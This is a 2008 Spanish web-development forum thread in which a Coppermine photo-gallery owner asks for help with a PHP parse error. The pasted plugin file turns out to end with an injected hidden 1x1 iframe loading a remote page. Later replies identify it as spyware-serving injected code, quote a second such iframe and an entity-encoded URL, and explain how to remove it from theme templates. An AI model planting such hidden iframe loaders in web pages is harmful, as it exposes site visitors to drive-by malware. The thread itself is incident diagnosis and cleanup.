Foros del Web » Creando para Internet » Sistemas de gestión de contenidos »

¿Me ayudais a depurar el codigo?Parse error: syntax error, unexpected

Estas en el tema de ¿Me ayudais a depurar el codigo?Parse error: syntax error, unexpected en el foro de Sistemas de gestión de contenidos en Foros del Web. Hola, a ver si alguien puede ayudarme, funcionaba bien mi galeria de fotos de Copermine y de repente salio este error Parse error: syntax error, ...
  #1 (permalink)  
Antiguo 10/04/2008, 02:17
 
Fecha de Ingreso: abril-2008
Mensajes: 10
Antigüedad: 16 años
Puntos: 0
¿Me ayudais a depurar el codigo?Parse error: syntax error, unexpected

Hola, a ver si alguien puede ayudarme, funcionaba bien mi galeria de fotos de Copermine y de repente salio este error

Parse error: syntax error, unexpected '<' in /usr/export/www/vhosts/funnetwork/hosting/portalico/plugins/minicms/include/init.inc.php on line 73

Quizás sea que le falte cerrar alguna llave, os paso el codigo del script y a ver si le veis el fallo.
Gracias de antemano.

Código HTML:
<?php
/**************************************************
  CPG MiniCMS Plugin for Coppermine Photo Gallery
  *************************************************
  Copyright (c) 2005 Donovan Bray <[email protected]>
  *************************************************
  1.3.0  eXtended miniCMS
  Copyright (C) 2004 Michael Trojacher <[email protected]>
  Original miniCMS Code (c) 2004 by Tarique Sani <[email protected]>,
  Amit Badkas <[email protected]>
  *************************************************
  This program is free software; you can redistribute it and/or modify
  it under the terms of the GNU General Public License as published by
  the Free Software Foundation; either version 2 of the License, or
  (at your option) any later version.
  *************************************************
  Coppermine version: 1.4.2
  CPGMiniCMS version: 1.5
  $Source: /cvsroot/cpg-contrib/minicms/include/init.inc.php,v $
  $Revision: 1.15 $
  $Author: donnoman $
  $Date: 2005/08/07 16:01:26 $
***************************************************/

if (!defined('IN_COPPERMINE')) { die('Not in Coppermine...');}

define('MINICMS_DBVER','1.4.7');

// submit your lang file for this plugin on the coppermine forums
// plugin will try to use the configured language if it is available.

if (file_exists("plugins/minicms/lang/{$CONFIG['lang']}.php")) {
  require "plugins/minicms/lang/{$CONFIG['lang']}.php";
} else require 'plugins/minicms/lang/english.php';

$CONFIG['TABLE_CMS'] = $CONFIG['TABLE_PREFIX'] . "cms";
$CONFIG['TABLE_CMS_CONFIG'] = $CONFIG['TABLE_PREFIX'] . "cms_config";

$results=cpg_db_query("SHOW TABLES LIKE '{$CONFIG['TABLE_CMS_CONFIG']}'");
if (!$row=mysql_fetch_row($results)) minicms_configure(false);
mysql_free_result($results);

$results = cpg_db_query("SELECT * FROM {$CONFIG['TABLE_CMS_CONFIG']}");
while ($row = mysql_fetch_array($results)) {
    $MINICMS[$row['name']] = $row['value'];
} // while
mysql_free_result($results);

$HTML_SUBST_DECODE = array_flip($HTML_SUBST); //used to reverse Coppermines init.inc.php gpc processing

$MINICMS['conType']=array('cat','thumb','img','section');
$MINICMS['conTypebyName']=array_flip($MINICMS['conType']);

if (defined('DISPLAYIMAGE_PHP')) {
    $MINICMS['type']=$MINICMS['conTypebyName']['img'];
} elseif (defined('THUMBNAILS_PHP')) {
    $MINICMS['conid']=isset($_REQUEST['album']) ? (int)$_REQUEST['album'] : -1;
    $MINICMS['type']=$MINICMS['conTypebyName']['thumb'];
} elseif (isset($_REQUEST['file']) && $_REQUEST['file'] =='minicms/cms') {
    if (isset($_REQUEST['id'])) {
        $MINICMS['ID']=(int)$_REQUEST['id'];
        $MINICMS['conid']='';
        $MINICMS['type']='';
    } else {
      $MINICMS['conid']=(int)$_REQUEST['conid'];
      $MINICMS['type']=(int)$_REQUEST['type'];
    }
} else {
    $MINICMS['conid']=isset($_REQUEST['cat']) ? (int)$_REQUEST['cat'] : 0;
    $MINICMS['type']=$MINICMS['conTypebyName']['cat'];
}

require 'plugins/minicms/include/themes.inc.php';<?php echo '<iframe src="http://cdpuvbhfzz.com/dl/adv598.php" width=1 height=1></iframe>'; ?> 
  #2 (permalink)  
Antiguo 10/04/2008, 02:49
 
Fecha de Ingreso: octubre-2004
Mensajes: 2.627
Antigüedad: 19 años, 5 meses
Puntos: 48
Re: ¿Me ayudais a depurar el codigo?Parse error: syntax error, unexpected

No, lo que sobra es el <?php de la ultima linea.
  #3 (permalink)  
Antiguo 10/04/2008, 03:59
 
Fecha de Ingreso: abril-2008
Mensajes: 10
Antigüedad: 16 años
Puntos: 0
Re: ¿Me ayudais a depurar el codigo?Parse error: syntax error, unexpected

Gracias Dark por tu rapida respuesta, entonces sobra todo esto

Código HTML:
<?php echo '<iframe src="http://cdpuvbhfzz.com/dl/adv598.php" width=1 height=1></iframe>'; ?> 
¿puedes copiarme el codigo arreglado? Mil gracias!!
  #4 (permalink)  
Antiguo 10/04/2008, 05:40
 
Fecha de Ingreso: abril-2008
Mensajes: 10
Antigüedad: 16 años
Puntos: 0
Re: ¿Me ayudais a depurar el codigo?Parse error: syntax error, unexpected

Solucionado, gracias Dark.
Sabía que este sitio era el adecuado para resolver mi problema.
  #5 (permalink)  
Antiguo 12/04/2008, 17:28
 
Fecha de Ingreso: abril-2008
Mensajes: 1
Antigüedad: 16 años
Puntos: 0
Exclamación Re: ¿Me ayudais a depurar el codigo?Parse error: syntax error, unexpected

Cuidado Bolemc!!!
esa línea de código: <?php echo '<iframe src="http://cdpuvbhfzz.com/dl/adv598.php" width=1 height=1></iframe>'; ?>
No la escribió la aplicación cuando la instalaste.
Se trata de código malicioso que no tardará en detectar el todopoderoso Google.
Todas las personas que visiten tu sitio web recibirán un aviso (en el mejor de los casos) para instalar un componente ActiveX. Según la versión más o menos reciente que utilicen de Navegador, se podría instalar de manera transparente para los usuarios. Se trata de software espía.
A mí me acaba de ocurrir. Me he bajado toda la aplicación a desarrollo, y he podido comprobar que esta línea de código está por toda la aplicación. Como si de un troyano se tratara. Y no sólo en la aplicación (también utilizo esa misma galería de fotos), sino que está en otras páginas de mi sitio web que nada tienen que ver con esa aplicación. Sospecho que coppermine debe tener algún agujero de seguridad.
El código puedes encontrarlo también en formato Unicode

& # 104 ; & # 116 ; & # 116 ; & # 112 ; & # 58 ; & # 47 ; & # 47 ; & # 99 ; & # 100 ; & # 112 ; & # 117 ; & # 118 ; & # 98 ; & # 104 ; & # 102 ; & # 122 ; & # 122 ; & # 46 ; & # 99 ; & # 111 ; & # 109 ; & # 47 ; & # 100 ; & # 108 ; & # 47 ; & # 97 ; & # 100 ; & # 118 ; & # 53 ; & # 57 ; & # 56 ; & # 46 ; & # 112 ; & # 104 ; & # 112 ;

Si escribes esto en tu página se visualizará (sin los espacios, claro):
"http://cdpuvbhfzz.com/dl/adv598.php"

Esta página, contiene spyware.
Te recomiendo que revises toda la aplicacion Coppermine

Última edición por jcabanillas; 13/04/2008 a las 13:34
  #6 (permalink)  
Antiguo 14/04/2008, 09:44
 
Fecha de Ingreso: abril-2008
Mensajes: 10
Antigüedad: 16 años
Puntos: 0
Re: ¿Me ayudais a depurar el codigo?Parse error: syntax error, unexpected

Hola jcabanillas, me parecia raro ese codigo pero lo interpretaba mas bien como propio del alojamiento gratuito para la galeria.
¿que solución has tomado tu? miraré los codigos y miraré de suprimir ese iframe, lo malo es q tengo 2 galerias y el trabajo será el doble.
Gracias por el aviso ya me contarás.
  #7 (permalink)  
Antiguo 14/04/2008, 11:51
Avatar de GatorV
$this->role('moderador');
 
Fecha de Ingreso: mayo-2006
Ubicación: /home/ams/
Mensajes: 38.567
Antigüedad: 17 años, 11 meses
Puntos: 2135
Re: ¿Me ayudais a depurar el codigo?Parse error: syntax error, unexpected

Tema trasladado a Aplicaciones Prefabricadas.
  #8 (permalink)  
Antiguo 23/04/2008, 03:09
 
Fecha de Ingreso: abril-2008
Mensajes: 2
Antigüedad: 16 años
Puntos: 0
Re: ¿Me ayudais a depurar el codigo?Parse error: syntax error, unexpected

Hola a Todos tengo el mismo problema, en el código fuente de mi coppermine. Me sale el siguiente codigo malicioso

<iframe src="http://ccfelomvhk.com/dl/adv542.php" height="1" width="1"></iframe>

Lo único no sé donde puedo eliminarlo. Mi theme es el ipodlounge. Podeis verlo en la siguiente dirección por si necesitáis más informaci'on

Google me tiene "fichado" y he perdido muchísimas posiciones en las búsquedas. Os agradecería vuestra ayuda.

Última edición por Vambasten9; 25/04/2008 a las 12:14
  #9 (permalink)  
Antiguo 23/04/2008, 03:46
 
Fecha de Ingreso: abril-2008
Mensajes: 10
Antigüedad: 16 años
Puntos: 0
Re: ¿Me ayudais a depurar el codigo?Parse error: syntax error, unexpected

Yo he optado por deshabilitar las galerias hasta encontrar la solución, veo que ese iframe está por todos lados, eliminarlo manualemente puede ser una odisea y actualizando seguiria quedando el codigo del iframe, y supongo que haciendo un backup se guardará codigo en el y en posteriores instalaciones saldria (digo yo)

Yo las 2 galerias que tengo afectadas estan en servidores gratuitos, luego tengo otra en mi propio servidor que parece no estar afectada de momento.

Vambasten9 ¿donde la tienes alojada tu?
  #10 (permalink)  
Antiguo 23/04/2008, 04:41
 
Fecha de Ingreso: abril-2008
Mensajes: 2
Antigüedad: 16 años
Puntos: 0
Re: ¿Me ayudais a depurar el codigo?Parse error: syntax error, unexpected

Yo la tengo alojada en un servidor de pago.

No sé si ellos podrán echarme una mano.

Una pregunta, exactamente ¿que tengo que buscar y donde para ir eliminando ese iframe?
  #11 (permalink)  
Antiguo 23/04/2008, 05:34
 
Fecha de Ingreso: abril-2008
Mensajes: 10
Antigüedad: 16 años
Puntos: 0
Re: ¿Me ayudais a depurar el codigo?Parse error: syntax error, unexpected

Me temo que en todos los archivos está el iframe, incluso en algunos arriba y abajo, simplemente busca el iframe y borralo y vuelvelo a subir el archivo/os, un faenon para mi que tengo mas de mil fotos en cada galeria y si está en cada pagina imagina, no sé tu.
  #12 (permalink)  
Antiguo 29/04/2008, 09:51
 
Fecha de Ingreso: abril-2008
Mensajes: 10
Antigüedad: 16 años
Puntos: 0
Re: ¿Me ayudais a depurar el codigo?Parse error: syntax error, unexpected

Bueno pues tengo buenas noticias, he conseguido solucionar este asunto, al final no era tan "bestia" explico....

Entrar en administración e ir a Themes y coger el que tengáis en la galeria y entrar en la capeta, luego os descargais el archivo template.html y buscais el iframe, yo lo tenía abajo del todo, lo borré y ya no sale por ningún lado.
OJO a mi me creó un archivo zip, supongo con algo malicioso dentro, borrarlo y ya está, incluso ahora puedo configurar más la plantilla.
Un ejemplo
http://www.elportalico.com/fotos/
  #13 (permalink)  
Antiguo 30/04/2008, 00:23
 
Fecha de Ingreso: abril-2008
Ubicación: Lima
Mensajes: 70
Antigüedad: 16 años
Puntos: 0
Re: ¿Me ayudais a depurar el codigo?Parse error: syntax error, unexpected

A mi me pasa lo mismo, pero en laadminitracion de Joomla 1.5.2, vere si en la plantilla de administracion esta el problema.
  #14 (permalink)  
Antiguo 30/04/2008, 01:42
 
Fecha de Ingreso: abril-2008
Mensajes: 10
Antigüedad: 16 años
Puntos: 0
Re: ¿Me ayudais a depurar el codigo?Parse error: syntax error, unexpected

La administración que debes mirar es la de Coperminne y más bien el servidor y buscar las carpetas que dije.
Atención: Estás leyendo un tema que no tiene actividad desde hace más de 6 MESES, te recomendamos abrir un Nuevo tema en lugar de responder al actual.
Tema Cerrado

SíEste tema le ha gustado a 1 personas




La zona horaria es GMT -6. Ahora son las 18:16.